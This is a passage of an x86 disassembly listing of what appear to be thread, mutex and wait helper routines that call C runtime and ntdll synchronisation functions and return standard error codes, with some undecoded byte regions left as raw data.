mov eax, [esi]
test ecx, ecx
jz short loc_431134
test eax, eax
jnz short loc_431112
loc_431105: ; CODE XREF: sub_4310C0+77j
push ebx
call sub_4010C3
add esp, 4
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_431112: ; CODE XREF: sub_4310C0+43j
mov edx, [esp+0Ch+arg_4]
test edx, edx
jz short loc_431129
mov edi, eax
mov dword ptr [esi], 0
add ecx, edi
mov [esi+8], ecx
jmp short loc_431196
; ---------------------------------------------------------------------------
loc_431129: ; CODE XREF: sub_4310C0+58j
inc ecx
mov edi, 1
mov [esi+8], ecx
jmp short loc_431193
; ---------------------------------------------------------------------------
loc_431134: ; CODE XREF: sub_4310C0+3Fj
cmp eax, [esi+4]
jle short loc_431105
lea ecx, [esi+10h]
push ecx
call sub_401041
add esp, 4
test eax, eax
jz short loc_431160
call near ptr 77C1F2BCh
nop
mov esi, [eax]
push ebx
call sub_4010C3
add esp, 4
mov eax, esi
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_431160: ; CODE XREF: sub_4310C0+87j
mov eax, [esi+4]
test eax, eax
jz short loc_431174
mov ecx, [esi]
mov dword ptr [esi+4], 0
sub ecx, eax
mov [esi], ecx
loc_431174: ; CODE XREF: sub_4310C0+A5j
mov eax, [esp+0Ch+arg_4]
test eax, eax
jz short loc_431189
mov edi, [esi]
mov dword ptr [esi], 0
mov [esi+8], edi
jmp short loc_431196
; ---------------------------------------------------------------------------
loc_431189: ; CODE XREF: sub_4310C0+BAj
mov eax, [esi]
mov edi, 1
mov [esi+8], edi
loc_431193: ; CODE XREF: sub_4310C0+72j
dec eax
mov [esi], eax
loc_431196: ; CODE XREF: sub_4310C0+67j
; sub_4310C0+C7j
push ebx
call sub_4010C3
mov ebx, eax
add esp, 4
test ebx, ebx
jnz short loc_4311BE
add esi, 0Ch
push edi
push esi
call sub_402068
add esp, 8
test eax, eax
jz short loc_4311BE
nop
call near ptr 77C1F2BCh
mov ebx, [eax]
loc_4311BE: ; CODE XREF: sub_4310C0+E3j
; sub_4310C0+F4j
pop edi
mov eax, ebx
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_4311C4: ; CODE XREF: sub_4310C0+9j
; sub_4310C0+13j
mov eax, 16h
loc_4311C9: ; CODE XREF: sub_4310C0+32j
pop edi
pop esi
pop ebx
retn
sub_4310C0 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_431220 proc near ; CODE XREF: sub_40160Ej
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 1
push eax
call sub_4310C0
add esp, 8
retn
sub_431220 endp
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_431240 proc near ; CODE XREF: sub_40123Aj
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ecx
push ebx
push esi
push edi
mov edi, 0Bh
xor ebx, ebx
call sub_401B27
mov esi, eax
test esi, esi
jz loc_431316
mov eax, [esi+28h]
push 0Ch
mov [esp+14h+var_4], eax
nop
call near ptr 77C2C407h
mov ebx, eax
add esp, 4
test ebx, ebx
jz loc_431316
mov ecx, [esp+10h+arg_8]
mov edx, [esp+10h+arg_C]
push ebp
mov ebp, [esp+14h+arg_4]
test ebp, ebp
mov [ebx], esi
mov [ebx+4], ecx
mov [ebx+8], edx
jz short loc_4312BE
mov eax, [ebp+0]
test eax, eax
jz short loc_4312BE
mov edi, [eax+8]
mov eax, [eax+0Ch]
mov [esi+20h], eax
mov eax, [ebp+0]
mov ecx, [eax+10h]
mov [esp+14h+var_4], ecx
mov ecx, [eax+14h]
test ecx, ecx
jnz short loc_4312C0
call sub_4012E4
; ---------------------------------------------------------------------------
mov edx, [eax+28h]
mov [esp+14h+var_4], edx
jmp short loc_4312C0
; ---------------------------------------------------------------------------
loc_4312BE: ; CODE XREF: sub_431240+4Dj
; sub_431240+54j
xor edi, edi
loc_4312C0: ; CODE XREF: sub_431240+6Ej
; sub_431240+7Cj
push esi
push 4
push ebx
xor eax, eax
push offset loc_401BA9
push edi
push eax
mov [esi+0Ch], eax
mov [esi+80h], eax
call near ptr 77C3A3DBh
nop
mov edi, eax
add esp, 18h
test edi, edi
mov [esi+4], edi
jz short loc_431309
test ebp, ebp
jz short loc_431302
cmp dword ptr [ebp+0], 0
jz short loc_431302
mov eax, [esp+14h+var_4]
push eax
push 0
push esi
call sub_4020D1
add esp, 0Ch
loc_431302: ; CODE XREF: sub_431240+AAj
; sub_431240+B0j
push edi
nop
call near ptr 2780000h
loc_431309: ; CODE XREF: sub_431240+A6j
neg edi
sbb edi, edi
pop ebp
and edi, 0FFFFFFF5h
add edi, 0Bh
jz short loc_431349
loc_431316: ; CODE XREF: sub_431240+14j
; sub_431240+30j
push esi
call sub_4017B7
add esp, 4
xor esi, esi
test ebx, ebx
jz short loc_43133C
push ebx
call near ptr 77C2C21Bh
nop
mov ecx, [esp+14h+arg_0]
add esp, 4
mov eax, edi
mov [ecx], esi
pop edi
pop esi
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_43133C: ; CODE XREF: sub_431240+E3j
mov edx, [esp+10h+arg_0]
mov eax, edi
pop edi
mov [edx], esi
pop esi
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_431349: ; CODE XREF: sub_431240+D4j
mov eax, [esp+10h+arg_0]
mov [eax], esi
mov eax, edi
pop edi
pop esi
pop ebx
pop ecx
retn
sub_431240 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 50h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4313B0: ; CODE XREF: ___:00401343j
mov ecx, [esp+8]
mov eax, 1
cmp ecx, 3 ; switch 4 cases
ja short locret_4313E7 ; default
jmp off_4313EC[ecx*4] ; switch jump
loc_4313C5: ; DATA XREF: ___:off_4313ECo
call sub_401712 ; jumptable 004313BE case 1
retn 0Ch
; ---------------------------------------------------------------------------
loc_4313CD: ; CODE XREF: ___:004313BEj
; DATA XREF: ___:off_4313ECo
call sub_4017BC ; jumptable 004313BE case 2
retn 0Ch
; ---------------------------------------------------------------------------
loc_4313D5: ; CODE XREF: ___:004313BEj
; DATA XREF: ___:off_4313ECo
call sub_4017CB ; jumptable 004313BE case 3
retn 0Ch
; ---------------------------------------------------------------------------
loc_4313DD: ; CODE XREF: ___:004313BEj
; DATA XREF: ___:off_4313ECo
call sub_4017CB ; jumptable 004313BE case 0
call sub_401627
locret_4313E7: ; CODE XREF: ___:004313BCj
retn 0Ch ; default
; ---------------------------------------------------------------------------
align 4
off_4313EC dd offset loc_4313DD ; DATA XREF: ___:004313BEr
dd offset loc_4313C5 ; jump table for switch statement
dd offset loc_4313CD
dd offset loc_4313D5
db 4 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_431420: ; CODE XREF: ___:004017C1j
mov eax, dword_5103B4
push esi
push edi
push eax
call sub_401190
; ---------------------------------------------------------------------------
db 8Bh, 7Ch, 24h
dd 83F08B10h, 0F68504C4h, 90570A75h, 808EC6E8h, 4C48377h
dd 7E89016Ah, 99FE814h, 0C483FFFDh, 0C35E5F04h, 3 dup(90909090h)
dd 4 dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
sub_431470 proc near ; CODE XREF: sub_401762j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push offset dword_5108C0
xor esi, esi
nop
call near ptr 7C901005h
mov eax, [esp+4+arg_0]
test eax, eax
jz short loc_43149B
mov eax, [eax+4]
test eax, eax
jz short loc_43149B
push eax
nop
call near ptr 27706C8h
cmp eax, 7FFFFFFFh
jnz short loc_4314A0
loc_43149B: ; CODE XREF: sub_431470+14j
; sub_431470+1Bj
mov esi, 3
loc_4314A0: ; CODE XREF: sub_431470+29j
push offset dword_5108C0
nop
call near ptr 7C9010EDh
test esi, esi
jnz short loc_4314BC
mov eax, [esp+4+arg_4]
test eax, eax
mov eax, 16h
jnz short loc_4314BE
loc_4314BC: ; CODE XREF: sub_431470+3Dj
mov eax, esi
loc_4314BE: ; CODE XREF: sub_431470+4Aj
pop esi
retn
sub_431470 endp
; ---------------------------------------------------------------------------
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4314E0: ; CODE XREF: ___:00401654j
push ebx
push esi
mov esi, [esp+0Ch]
push edi
test esi, esi
jz short loc_431531
mov edi, [esp+14h]
test edi, edi
jz short loc_431531
mov eax, [esi]
xor ebx, ebx
test eax, eax
jnz short loc_431511
lea eax, [esi+4]
push eax
call near ptr 27705EAh
nop
test eax, eax
jnz short loc_431517
call edi ; _errno
mov dword ptr [esi], 1
loc_431511: ; CODE XREF: ___:004314F9j
; ___:0043151Aj
pop edi
mov eax, ebx
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_431517: ; CODE XREF: ___:00431507j
cmp dword ptr [esi], 0
jnz short loc_431511
mov edi, dword_5118D8
loc_431522: ; CODE XREF: ___:00431529j
push 0
call edi
cmp dword ptr [esi], 0
jz short loc_431522
pop edi
mov eax, ebx
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_431531: ; CODE XREF: ___:004314E9j
; ___:004314F1j
pop edi
pop esi
mov eax, 16h
pop ebx
retn
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_431560 proc near ; CODE XREF: sub_4012E4j
mov eax, dword_5103B4
push esi
push edi
push eax
call sub_401190
sub_431560 endp
; ---------------------------------------------------------------------------
db 8Bh, 0F0h, 83h
dd 0F68504C4h, 0ACE87675h, 8BFFFD05h, 74F685F0h, 7C7E8B5Bh
dd 1B8h, 53F80B00h, 897C7E89h, 0E8902046h, 232F9CFh, 187C1D8Bh
dd 26A0051h, 6A047E8Dh, 57006A00h, 0D3FF0689h, 0D4E89050h
dd 500236EBh, 9050D3FFh, 33EA43E8h, 5BC08502h, 0E8560E75h
dd 0FFFD0609h, 3304C483h, 0C35E5FC0h, 90510F8Bh, 33F0EFE8h
dd 28468902h, 3B4158Bh, 52560051h, 0FD0B10E8h, 8C483FFh
dd 5E5FC68Bh, 909090C3h, 3 dup(90909090h), 0Ch dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
sub_431630 proc near ; CODE XREF: sub_401A64j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
mov ecx, [esp+arg_4]
cmp eax, ecx
jnz short loc_43164E
test eax, eax
jz short loc_431648
mov eax, [eax]
mov edx, [ecx]
cmp eax, edx
jnz short loc_43164E
loc_431648: ; CODE XREF: sub_431630+Ej
mov eax, 1
retn
; ---------------------------------------------------------------------------
loc_43164E: ; CODE XREF: sub_431630+Aj
; sub_431630+16j
xor eax, eax
retn
sub_431630 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_431670: ; CODE XREF: ___:0040200Ej
mov eax, [esp+4]
test eax, eax
jge short loc_43167E
mov eax, 16h
retn
; ---------------------------------------------------------------------------
loc_43167E: ; CODE XREF: ___:00431676j
mov dword_5103C4, eax
xor eax, eax
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4316A0: ; CODE XREF: ___:00401564j
mov eax, dword_5103C4
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4316C0 proc near ; CODE XREF: sub_401B27j
push esi
call sub_401307
mov esi, eax
test esi, esi
jnz short loc_4316E2
push 84h
push 1
call near ptr 77C2C0C3h
nop
mov esi, eax
add esp, 8
test esi, esi
jz short loc_431729
loc_4316E2: ; CODE XREF: sub_4316C0+Aj
push 0
push 0
or eax, 0FFFFFFFFh
push 1
push 0
mov dword ptr [esi+28h], 0
mov dword ptr [esi+20h], 0
mov dword ptr [esi+30h], 0
mov dword ptr [esi+34h], 1
mov [esi+2Ch], eax
mov [esi+24h], eax
nop
call near ptr 2760C28h
test eax, eax
mov [esi+38h], eax
jnz short loc_431729
push esi
call sub_401BD1
add esp, 4
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_431729: ; CODE XREF: sub_4316C0+20j
; sub_4316C0+5Aj
mov eax, esi
pop esi
retn
sub_4316C0 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_431750 proc near ; CODE XREF: sub_401307j
push esi
push offset dword_5108C0
nop
call near ptr 7C901005h
mov esi, dword_447700
cmp esi, 1
jz short loc_431785
mov eax, [esi+8]
push offset dword_5108C0
mov dword_447700, eax
mov dword ptr [esi+8], 0
nop
call near ptr 7C9010EDh
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
loc_431785: ; CODE XREF: sub_431750+15j
push offset dword_5108C0
xor esi, esi
nop
call near ptr 7C9010EDh
mov eax, esi
pop esi
retn
sub_431750 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4317C0 proc near ; CODE XREF: sub_401BD1j
arg_0 = dword ptr 4
push edi
push offset dword_5108C0
nop
call near ptr 7C901005h
mov edx, [esp+4+arg_0]
mov ecx, 21h
xor eax, eax
mov edi, edx
rep stosd
mov eax, dword_447700
push offset dword_5108C0
mov [edx+8], eax
mov dword_447700, edx
nop
call near ptr 7C9010EDh
pop edi
retn
sub_4317C0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_431810 proc near ; CODE XREF: sub_40164Aj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0FFFFFFFFh
push eax
call sub_431830
sub_431810 endp
; ---------------------------------------------------------------------------
add esp, 8
retn
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_431830 proc near ; CODE XREF: sub_431810+7p
; sub_431950+Ap
var_8 = dword ptr -8
arg_0 = dword ptr 4
sub esp, 8
mov eax, [esp+8+arg_0]
push esi
push edi
mov edi, 1
mov [esp+10h+var_8], eax
call sub_4012E4
sub_431830 endp
; ---------------------------------------------------------------------------
mov esi, eax
test esi, esi
jz short loc_431866
mov eax, [esi+30h]
test eax, eax
jnz short loc_43186E
mov eax, [esi+38h]
test eax, eax
mov [esp+0Ch], eax
jz short loc_43186E
mov edi, 2
jmp short loc_43186E
; ---------------------------------------------------------------------------
loc_431866: ; CODE XREF: ___:0043184Bj
mov dword ptr [esp+0Ch], 0
loc_43186E: ; CODE XREF: ___:00431852j
; ___:0043185Dj ...
mov ecx, [esp+18h]
lea edx, [esp+8]
push ecx
push 0
push edx
push edi
nop
call near ptr 2760A57h
mov ecx, eax
sub ecx, 0
jz short loc_4318F9
dec ecx
jz short loc_4318A4
sub eax, 102h
pop edi
neg eax
sbb eax, eax
pop esi
and eax, 0FFFFD8CAh
add eax, 274Ch
add esp, 8
retn
; ---------------------------------------------------------------------------
loc_4318A4: ; CODE XREF: ___:00431889j
mov eax, [esp+0Ch]
push eax
nop
call near ptr 2780570h
test esi, esi
jz short loc_4318EE
lea edi, [esi+2Ch]
push edi
call sub_402248
mov ecx, [esi+0Ch]
mov eax, 3
add esp, 4
cmp ecx, eax
jge short loc_4318E5
push edi
mov [esi+0Ch], eax
mov dword ptr [esi+30h], 1
call sub_4010C3
push 2
call sub_401DED
; ---------------------------------------------------------------------------
add esp, 8
loc_4318E5: ; CODE XREF: ___:004318C9j
push edi
call sub_4010C3
add esp, 4
loc_4318EE: ; CODE XREF: ___:004318B1j
pop edi
mov eax, 16h
pop esi
add esp, 8
retn
; ---------------------------------------------------------------------------
loc_4318F9: ; CODE XREF: ___:00431886j
pop edi
xor eax, eax
pop esi
add esp, 8
retn
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_431950 proc near ; CODE XREF: sub_401D84j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push eax
push ecx
call sub_431830
sub_431950 endp
; ---------------------------------------------------------------------------
add esp, 8
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_431980 proc near ; CODE XREF: sub_401C17j
arg_0 = dword ptr 4
push esi
push offset dword_510920
xor esi, esi
call near ptr 7C901005h
nop
mov ecx, [esp+4+arg_0]
mov eax, [ecx]
cmp eax, 0FFFFFFFFh
jnz short loc_4319B4
push esi
push ecx
call sub_4021BC
add esp, 8
mov esi, eax
push offset dword_510920
nop
call near ptr 7C9010EDh
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
loc_4319B4: ; CODE XREF: sub_431980+17j
test eax, eax
jnz short loc_4319BD
mov esi, 16h
loc_4319BD: ; CODE XREF: sub_431980+36j
push offset dword_510920
nop
call near ptr 7C9010EDh
mov eax, esi
pop esi
retn
sub_431980 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4319F0 proc near ; CODE XREF: sub_4021BCj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push ebp
xor ebp, ebp
push edi
test eax, eax
jnz short loc_431A04
pop edi
mov eax, 16h
pop ebp
retn
; ---------------------------------------------------------------------------
loc_431A04: ; CODE XREF: sub_4319F0+Aj
mov edi, [esp+8+arg_4]
test edi, edi
jz short loc_431A1F
mov eax, [edi]
test eax, eax
jz short loc_431A1F
cmp dword ptr [eax], 1
jnz short loc_431A1F
pop edi
mov eax, 28h
pop ebp
retn
; ---------------------------------------------------------------------------
loc_431A1F: ; CODE XREF: sub_4319F0+1Aj
; sub_4319F0+20j ...
push esi
push 2Ch
push 1
nop
call near ptr 77C2C0C3h
mov esi, eax
add esp, 8
test esi, esi
jnz short loc_431A44
mov edx, [esp+0Ch+arg_0]
mov ebp, 0Ch
mov eax, ebp
mov [edx], esi
pop esi
pop edi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_431A44: ; CODE XREF: sub_4319F0+41j
test edi, edi
mov dword ptr [esi], 0FFFFFFFFh
mov dword ptr [esi+4], 0
jz short loc_431A60
mov edi, [edi]
test edi, edi
jz short loc_431A60
mov edi, [edi+4]
jmp short loc_431A62
; ---------------------------------------------------------------------------
loc_431A60: ; CODE XREF: sub_4319F0+63j
; sub_4319F0+69j
xor edi, edi
loc_431A62: ; CODE XREF: sub_4319F0+6Ej
push 0
lea eax, [esi+10h]
push 0
push eax
mov [esi+8], edi
mov dword ptr [esi+0Ch], 0
call sub_401C8A
add esp, 0Ch
test eax, eax
jz short loc_431A9D
push esi
mov ebp, 0Bh
nop
call near ptr 77C2C21Bh
mov edx, [esp+10h+arg_0]
add esp, 4
xor esi, esi
mov eax, ebp
mov [edx], esi
pop esi
pop edi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_431A9D: ; CODE XREF: sub_4319F0+8Ej
lea ecx, [esi+14h]
push ecx
nop
call near ptr 2790E47h
mov edx, [esp+0Ch+arg_0]
mov eax, ebp
mov [edx], esi
pop esi
pop edi
pop ebp
retn
sub_4319F0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_431B00 proc near ; CODE XREF: sub_402252j
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
xor esi, esi
test edi, edi
jz loc_431BE0
mov eax, [edi]
test eax, eax
jz loc_431BE0
cmp eax, 0FFFFFFFFh
jz loc_431BA5
mov [esp+8+arg_0], eax
lea eax, [esp+8+arg_0]
push eax
call sub_401785
mov esi, eax
add esp, 4
test esi, esi
jnz loc_431BDB
mov ecx, [esp+8+arg_0]
mov eax, [ecx+4]
cmp eax, 1
jnz short loc_431B97
lea ecx, [esp+8+arg_0]
mov [edi], esi
push ecx
call sub_4010C3
mov edx, [esp+0Ch+arg_0]
mov esi, eax
add esp, 4
test esi, esi
jnz short loc_431B90
add edx, 10h
push edx
call sub_401690
mov eax, [esp+0Ch+arg_0]
add esp, 4
add eax, 14h
push eax
nop
call near ptr 27906F2h
mov ecx, [esp+8+arg_0]
push ecx
nop
call near ptr 77C2C21Bh
add esp, 4
mov eax, esi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_431B90: ; CODE XREF: sub_431B00+61j
mov [edi], edx
mov eax, esi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_431B97: ; CODE XREF: sub_431B00+48j
dec eax
mov esi, 10h
mov [ecx+4], eax
mov eax, esi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_431BA5: ; CODE XREF: sub_431B00+1Dj
push offset dword_510920
nop
call near ptr 7C901005h
cmp dword ptr [edi], 0FFFFFFFFh
jnz short loc_431BCB
push offset dword_510920
mov dword ptr [edi], 0
nop
call near ptr 7C9010EDh
mov eax, esi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_431BCB: ; CODE XREF: sub_431B00+B3j
push offset dword_510920
mov esi, 10h
nop
call near ptr 7C9010EDh
loc_431BDB: ; CODE XREF: sub_431B00+38j
mov eax, esi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_431BE0: ; CODE XREF: sub_431B00+Aj
; sub_431B00+14j
pop edi
mov eax, 16h
pop esi
retn
sub_431B00 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_431C30 proc near ; CODE XREF: sub_401A1Ej
arg_0 = dword ptr 4
push esi
push 8
push 1
xor esi, esi
call near ptr 77C2C0C3h
nop
add esp, 8
cmp eax, esi
jnz short loc_431C53
mov edx, [esp+4+arg_0]
mov ecx, 0Ch
pop esi
mov [edx], eax
mov eax, ecx
retn
; ---------------------------------------------------------------------------
loc_431C53: ; CODE XREF: sub_431C30+12j
mov ecx, [esp+4+arg_0]
mov [eax], esi
mov [eax+4], esi
mov [ecx], eax
mov eax, esi
pop esi
retn
sub_431C30 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_431C80 proc near ; CODE XREF: sub_4010AAj
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
push esi
xor esi, esi
test ecx, ecx
jz short loc_431CA1
mov eax, [ecx]
test eax, eax
jz short loc_431CA1
push eax
mov [ecx], esi
nop
call near ptr 77C2C21Bh
add esp, 4
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
loc_431CA1: ; CODE XREF: sub_431C80+9j
; sub_431C80+Fj
mov eax, 16h
pop esi
retn
sub_431C80 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_431CC0: ; CODE XREF: ___:00401BBDj
mov eax, [esp+4]
test eax, eax
jz short loc_431CDD
mov eax, [eax]
test eax, eax
jz short loc_431CDD
mov ecx, [esp+8]
test ecx, ecx
jz short loc_431CDD
mov eax, [eax]
mov [ecx], eax
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_431CDD: ; CODE XREF: ___:00431CC6j
; ___:00431CCCj ...
mov eax, 16h
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_431D00: ; CODE XREF: ___:00401906j
mov eax, [esp+4]
test eax, eax
jz short loc_431D2A
mov ecx, [eax]
test ecx, ecx
jz short loc_431D2A
mov eax, [esp+8]
cmp eax, 1
jz short loc_431D1E
test eax, eax
jnz short loc_431D2A
mov [ecx], eax
retn
; ---------------------------------------------------------------------------
loc_431D1E: ; CODE XREF: ___:00431D15j
mov eax, 28h
mov dword ptr [ecx], 0
retn
; ---------------------------------------------------------------------------
loc_431D2A: ; CODE XREF: ___:00431D06j
; ___:00431D0Cj ...
mov eax, 16h
retn
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_431D40 proc near ; CODE XREF: sub_40119Aj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_0]
xor eax, eax
test ecx, ecx
jz short loc_431D61
mov ecx, [ecx]
test ecx, ecx
jz short loc_431D61
mov edx, [esp+arg_4]
test edx, edx
jl short loc_431D61
cmp edx, 2
jg short loc_431D61
mov [ecx+4], edx
retn
; ---------------------------------------------------------------------------
loc_431D61: ; CODE XREF: sub_431D40+8j
; sub_431D40+Ej ...
mov eax, 16h
retn
sub_431D40 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_431D80 proc near ; CODE XREF: sub_4018CFj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_0]
xor eax, eax
test ecx, ecx
jz short loc_431D9E
mov ecx, [ecx]
test ecx, ecx
jz short loc_431D9E
mov edx, [esp+arg_4]
test edx, edx
jz short loc_431D9E
mov ecx, [ecx+4]
mov [edx], ecx
retn
; ---------------------------------------------------------------------------
loc_431D9E: ; CODE XREF: sub_431D80+8j
; sub_431D80+Ej ...
mov eax, 16h
retn
sub_431D80 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_431DC0 proc near ; CODE XREF: sub_402248j
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push edi
xor edi, edi
test esi, esi
jz loc_431E77
mov eax, [esi]
test eax, eax
jz loc_431E77
cmp eax, 0FFFFFFFFh
jnz short loc_431DF1
push esi
call sub_401C17
mov edi, eax
add esp, 4
test edi, edi
jz short loc_431DF1
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_431DF1: ; CODE XREF: sub_431DC0+1Dj
; sub_431DC0+2Cj
mov esi, [esi]
push esi
nop
call near ptr 27705EAh
test eax, eax
jnz short loc_431E1A
loc_431DFE: ; CODE XREF: sub_431DC0+A8j
mov ecx, [esi+8]
mov eax, 1
test ecx, ecx
mov [esi+4], eax
jz short loc_431E12
call sub_4012E4
; ---------------------------------------------------------------------------
loc_431E12: ; CODE XREF: sub_431DC0+4Bj
mov [esi+0Ch], eax
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_431E1A: ; CODE XREF: sub_431DC0+3Cj
mov eax, [esi+8]
test eax, eax
jz short loc_431E5A
call sub_4012E4
; ---------------------------------------------------------------------------
dw 8B50h
dd 0E8500C46h, 0FFFCFC34h, 8508C483h, 562374C0h, 34E930E8h
dd 7E839002h, 0C750108h, 4004468Bh, 8B044689h, 0C35E5FC7h
dd 24BFh, 5FC78B00h
; ---------------------------------------------------------------------------
pop esi
retn
; ---------------------------------------------------------------------------
loc_431E5A: ; CODE XREF: sub_431DC0+5Fj
lea ecx, [esi+10h]
push ecx
call sub_431EB0
add esp, 4
test eax, eax
jz short loc_431DFE
nop
call near ptr 77C1F2BCh
mov edi, [eax]
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_431E77: ; CODE XREF: sub_431DC0+Aj
; sub_431DC0+14j
pop edi
mov eax, 16h
pop esi
retn
sub_431DC0 endp
; ---------------------------------------------------------------------------
db 90h
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_431EB0 proc near ; CODE XREF: sub_431DC0+9Ep
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
test eax, eax
jz short loc_431ECA
mov eax, [eax]
push 0FFFFFFFFh
mov ecx, [eax]
push ecx
call near ptr 2780469h
nop
test eax, eax
jnz short loc_431ECA
retn
; ---------------------------------------------------------------------------
loc_431ECA: ; CODE XREF: sub_431EB0+6j
; sub_431EB0+17j
call near ptr 77C1F2BCh
nop
mov dword ptr [eax], 16h
or eax, 0FFFFFFFFh
retn
sub_431EB0 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_431EF0 proc near ; CODE XREF: sub_401BD6j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebp
push esi
mov esi, [esp+8+arg_0]
xor ebp, ebp
test esi, esi
jz loc_432088
mov eax, [esi]
test eax, eax
jz loc_432088
cmp eax, 0FFFFFFFFh
jnz short loc_431F21
push esi
call sub_401C17
mov ebp, eax
add esp, 4
test ebp, ebp
jz short loc_431F21
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_431F21: ; CODE XREF: sub_431EF0+1Dj
; sub_431EF0+2Cj
mov esi, [esi]
push ebx
push edi
push esi
call near ptr 27705EAh
nop
test eax, eax
jnz short loc_431F52
loc_431F30: ; CODE XREF: sub_431EF0+175j
mov ecx, [esi+8]
mov eax, 1
test ecx, ecx
mov [esi+4], eax
jz loc_43207E
call sub_4012E4
; ---------------------------------------------------------------------------
pop edi
mov [esi+0Ch], eax
pop ebx
mov eax, ebp
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_431F52: ; CODE XREF: sub_431EF0+3Ej
mov eax, [esi+8]
test eax, eax
jz short loc_431F96
call sub_4012E4
; ---------------------------------------------------------------------------
dw 8B50h
dd 0E8500C46h, 0FFFCFAFCh, 8508C483h, 562774C0h, 34E7F8E8h
dd 7E839002h, 0E750108h, 5F04468Bh, 46895B40h, 5EC58B04h
